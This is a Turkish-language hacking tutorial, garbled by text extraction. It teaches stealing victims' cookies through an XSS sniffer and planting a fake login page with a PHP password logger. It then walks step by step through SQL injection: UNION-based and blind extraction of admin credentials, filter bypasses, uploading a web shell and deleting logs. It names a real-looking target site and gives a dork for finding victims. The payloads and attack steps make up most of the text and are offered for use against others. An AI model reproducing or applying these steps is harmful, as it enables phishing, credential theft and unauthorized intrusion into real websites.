adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

